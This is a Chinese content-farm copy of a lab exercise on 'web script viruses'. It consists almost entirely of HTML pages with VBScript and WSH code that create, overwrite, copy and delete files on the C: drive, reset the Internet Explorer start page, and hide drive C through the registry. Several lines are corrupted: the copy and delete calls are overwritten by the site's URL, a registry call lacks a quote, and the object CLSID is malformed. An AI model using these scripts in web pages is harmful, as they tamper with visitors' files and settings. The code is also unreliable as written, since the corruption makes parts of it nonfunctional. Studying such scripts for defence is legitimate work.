范文资料网>反思报告>脚本>《网页脚本病毒分析实训

网页脚本病毒分析实训

时间:2022-03-23 14:35:57 脚本 我要投稿
  • 相关推荐

网页脚本病毒分析实训

1、  通过网页方式在硬盘中建立文件:

<html>

<head>

<title>创建文件c:\test.htm</title>

<script language=”vbscript”>

<!--

dim fso,f1

set fso=createobject(“scripting.filesystemobject”)

set f1=fso.createtextfile(“c:\test.htm”,true)

-->

</script>

</head>

</html>

2、  通过网页方式修改文件的内容:

a、 向打开的文本文件写数据,不用后接换行符:write

b、 向打开的文本文件写数据,后接一个换行符:writeline

c、 向打开的文本文件写一个或多个空白行:writeblanklines

<html>

<head>

<title>修改文件内容c:\test.htm</title>

<script language="vbscript">

<!--

dim fso,tf

set fso=createobject("scripting.filesystemobject")

set tf=fso.createtextfile("c:\test.htm",true)

'写一行,并带有一个换行符。

tf.writeline("<html><body>由网页脚本的方式修改已存在文件内容成功</body></html>")

'向文件写三个换行符。

tf.writeblanklines(3)

'写一行

tf.write("this is a test.")

tf.close

-->

</script>

</head>

</html>

3、  通过网页方式把文件复制到指定的目录:

<html>

<head>

<title>将c:\test.htm文件复制到windows</title>

<script language="vbscript">

<!--

dim fso,tf

set fso=createobject("scripting.filesystemobject")

set tf=fso.getfile("c:\test.htm")

http://www.ahsrst.cnpy("c:\windows\test.htm")

-->

</script>

</head>

</html>

4、  通过网页方式删除文件:

<html>

<head>

<title>删除windows里的c:\test.htm文件</title>

<script language="vbscript">

<!--

dim fso,tf

set fso=createobject("scripting.filesystemobject")

set tf=fso.getfile("c:\windows\test.htm")

http://www.ahsrst.cnlete

-->

</script>

</head>

</html>

5、通过网页方式写系统注册表(建立或修改都使用同一种方法)

<html>

<head>

<title>测试脚本</title>

</head>

<body>

<object classid=clsid:f935dc22-1cf0-adb9-ooc04fd58a0b id=wsh>

</object>

<script>

//以下内容为对注册表的修改

//修改ie中的主页设置

wsh.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page",http://www.ahsrst.cn");

//隐藏驱动器c

wsh.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\nodriver","00000004","reg_dword");

</script>

</body>

</html>

【网页脚本病毒分析实训】相关文章:

网页设计实训总结05-17

实训的计划04-09

实训的总结01-05

大学实训总结05-03

数控实训总结05-07

实训实习报告04-14

汽车实训总结04-17

校外实训总结04-27

铣床实训总结05-01

焊接实训总结02-27